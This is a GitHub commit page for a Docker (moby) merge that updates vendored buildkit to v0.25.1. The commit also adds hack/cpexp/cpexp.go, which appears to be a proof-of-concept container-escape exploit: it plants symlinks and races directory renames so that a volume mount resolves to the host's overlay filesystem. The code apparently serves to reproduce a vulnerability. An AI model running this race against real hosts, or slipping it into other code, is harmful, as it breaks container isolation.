Skip to content

Commit f8215cc

Browse files
Merge pull request #51137 from austinvazquez/cherry-pick-vendor-buildkit-0.25.1-to-28.x
[28.x] vendor: update buildkit to v0.25.1
2 parents 90506c1 + 40a856a commit f8215cc

10 files changed

Lines changed: 269 additions & 27 deletions

File tree

hack/buildkit-ref

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -19,6 +19,9 @@ if [[ "${buildkit_ref}" == *-*-* ]]; then
1919
buildkit_ref=$(curl -s "https://api.github.com/repos/${buildkit_repo}/commits/${buildkit_ref}" | jq -r .sha)
2020
fi
2121

22+
# https://github.com/moby/buildkit/pull/6278
23+
buildkit_ref="1030099b27bd3455bf7e5d5fe73b6be5dbec3c1f"
24+
2225
cat << EOF
2326
BUILDKIT_REPO=$buildkit_repo
2427
BUILDKIT_REF=$buildkit_ref

hack/cpexp/cpexp.go

Lines changed: 127 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,127 @@
1+
package main
2+
3+
import (
4+
"log"
5+
"os"
6+
"path/filepath"
7+
"strings"
8+
9+
"github.com/moby/buildkit/identity"
10+
"github.com/moby/sys/mountinfo"
11+
"github.com/pkg/errors"
12+
)
13+
14+
const volumePath = "/abc/a"
15+
16+
var rootfs string
17+
18+
func main() {
19+
if err := run(); err != nil {
20+
log.Printf("error: %+v", err)
21+
}
22+
}
23+
24+
func run() error {
25+
infos, err := mountinfo.GetMounts(nil)
26+
if err != nil {
27+
return err
28+
}
29+
hasVolume := false
30+
for _, info := range infos {
31+
if info.Mountpoint == "/" {
32+
v, err := getOverlayRootfs(info)
33+
if err != nil {
34+
return err
35+
}
36+
rootfs = v
37+
}
38+
39+
if info.Mountpoint == volumePath {
40+
hasVolume = true
41+
}
42+
log.Printf("mount: %+v", info)
43+
}
44+
if !hasVolume {
45+
return errors.Errorf("volume not found: %s", volumePath)
46+
}
47+
48+
log.Printf("rootfs: %s", rootfs)
49+
50+
base := filepath.Base(rootfs)
51+
if err := os.Symlink("/", filepath.Join(volumePath, base)); err != nil {
52+
return err
53+
}
54+
55+
// create duplicate volume path with symlink target
56+
p := "/"
57+
var volumeRoot string
58+
for _, c := range strings.Split(filepath.Dir(volumePath), string(filepath.Separator)) {
59+
if c == "" {
60+
continue
61+
}
62+
if volumeRoot == "" {
63+
volumeRoot = "/" + c
64+
c += "_target"
65+
}
66+
p = filepath.Join(p, c)
67+
if err := os.Mkdir(p, 0755); err != nil {
68+
if os.IsExist(err) {
69+
continue
70+
}
71+
return err
72+
}
73+
log.Printf("created: %s", p)
74+
}
75+
if err := os.Symlink(filepath.Dir(rootfs), filepath.Join(p, filepath.Base(volumePath))); err != nil {
76+
return err
77+
}
78+
79+
if err := os.Rename(volumeRoot, volumeRoot+"_old"); err != nil {
80+
return err
81+
}
82+
83+
for {
84+
if _, err := os.Stat(volumeRoot); err != nil {
85+
if os.IsNotExist(err) {
86+
continue
87+
}
88+
return err
89+
}
90+
// log.Printf("detected: %s", volumeRoot)
91+
break
92+
}
93+
94+
for {
95+
if err := os.Rename(volumeRoot+"_target", volumeRoot); err != nil {
96+
if os.IsExist(err) {
97+
if err := os.Rename(volumeRoot, volumeRoot+"_"+identity.NewID()); err != nil {
98+
return err
99+
}
100+
continue
101+
}
102+
log.Printf("failed to rename: %s", err)
103+
}
104+
break
105+
}
106+
107+
return nil
108+
}
109+
110+
func getOverlayRootfs(info *mountinfo.Info) (string, error) {
111+
if info.FSType != "overlay" {
112+
return "", errors.Errorf("not overlay: %s", info.FSType)
113+
}
114+
for _, opt := range strings.Split(info.VFSOptions, ",") {
115+
parts := strings.SplitN(opt, "=", 2)
116+
if parts[0] == "workdir" {
117+
return filepath.Join(filepath.Dir(parts[1]), "merged"), nil
118+
}
119+
}
120+
return "", errors.Errorf("workdir not found: %s", info.VFSOptions)
121+
}
122+
123+
// /var/lib/docker/overlay2/86fcb18db0e3774cfe3b9ed6fa526d4dffcb45ac3b26cbe99db6c2d08e6dfc0e/merged
124+
125+
// merged/<sym>/dir1/dir2/
126+
127+
// volume

vendor.mod

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -62,7 +62,7 @@ require (
6262
github.com/miekg/dns v1.1.66
6363
github.com/mistifyio/go-zfs/v3 v3.0.1
6464
github.com/mitchellh/copystructure v1.2.0
65-
github.com/moby/buildkit v0.25.0
65+
github.com/moby/buildkit v0.25.1
6666
github.com/moby/docker-image-spec v1.3.1
6767
github.com/moby/go-archive v0.1.0
6868
github.com/moby/ipvs v1.1.0

vendor.sum

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -383,8 +383,8 @@ github.com/mitchellh/mapstructure v0.0.0-20160808181253-ca63d7c062ee/go.mod h1:F
383383
github.com/mitchellh/reflectwalk v1.0.2 h1:G2LzWKi524PWgd3mLHV8Y5k7s6XUvT0Gef6zxSIeXaQ=
384384
github.com/mitchellh/reflectwalk v1.0.2/go.mod h1:mSTlrgnPZtwu0c4WaC2kGObEpuNDbx0jmZXqmk4esnw=
385385
github.com/mndrix/tap-go v0.0.0-20171203230836-629fa407e90b/go.mod h1:pzzDgJWZ34fGzaAZGFW22KVZDfyrYW+QABMrWnJBnSs=
386-
github.com/moby/buildkit v0.25.0 h1:cRgh74ymzyHxS5a/lsYT4OCyVU8iC3UgkwasIEUi0og=
387-
github.com/moby/buildkit v0.25.0/go.mod h1:phM8sdqnvgK2y1dPDnbwI6veUCXHOZ6KFSl6E164tkc=
386+
github.com/moby/buildkit v0.25.1 h1:j7IlVkeNbEo+ZLoxdudYCHpmTsbwKvhgc/6UJ/mY/o8=
387+
github.com/moby/buildkit v0.25.1/go.mod h1:phM8sdqnvgK2y1dPDnbwI6veUCXHOZ6KFSl6E164tkc=
388388
github.com/moby/docker-image-spec v1.3.1 h1:jMKff3w6PgbfSa69GfNg+zN/XLhfXJGnEx3Nl2EsFP0=
389389
github.com/moby/docker-image-spec v1.3.1/go.mod h1:eKmb5VW8vQEh/BAr2yvVNvuiJuY6UIocYsFu/DxxRpo=
390390
github.com/moby/go-archive v0.1.0 h1:Kk/5rdW/g+H8NHdJW2gsXyZ7UnzvJNOy6VKJqueWdcQ=

vendor/github.com/moby/buildkit/cache/remotecache/gha/gha.go

Lines changed: 3 additions & 2 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

vendor/github.com/moby/buildkit/cache/remotecache/v1/chains.go

Lines changed: 2 additions & 1 deletion
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

vendor/github.com/moby/buildkit/solver/exporter.go

Lines changed: 33 additions & 20 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

vendor/github.com/moby/buildkit/solver/llbsolver/provenance/types/types.go

Lines changed: 94 additions & 0 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

0 commit comments

Comments
 (0)